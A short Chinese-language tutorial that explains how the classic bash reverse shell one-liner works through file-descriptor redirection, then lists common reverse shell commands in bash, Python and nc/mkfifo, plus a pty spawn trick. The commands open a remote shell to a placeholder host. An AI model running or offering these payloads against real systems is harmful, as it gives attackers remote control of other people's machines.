前言
一直以来,只会有反弹shell的语句,却对其中的细节不甚了解,比如下面这句最经典的1
/bin/bash -i >& /dev/tcp/[yourip]/[yourport] 0>&1
文件描述符
三种标准的文件描述符
0 - stdin 标准输入
1 - stdout 标准输出
2 - stderr 标准错误输出
>&
&根据后面的参数不同会有不同的结果。
- 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
- 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
理解反弹shell语句
1 | /bin/bash -i >& /dev/tcp/[yourip]/[yourport] 0>&1 |
第一个>&后面为文件 所以bash命令的标准输出和标准错误输出均导出至远程tcp连接
第二个>&发面为文件描述符,表示将标准输入重定向至标准输出,由于标准输出定向至远程,标准输入也借此定向到远程。(由于标准错误输出也定向至远程,因此把 0>&1 改为 0>&2 也可以得到一个交互shell)
常用反弹shell语句
1
2
3
4
5
6
71、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
4. python -c 'import pty; pty.spawn("/bin/sh")'#解决standard in must be a tty需要tty的问题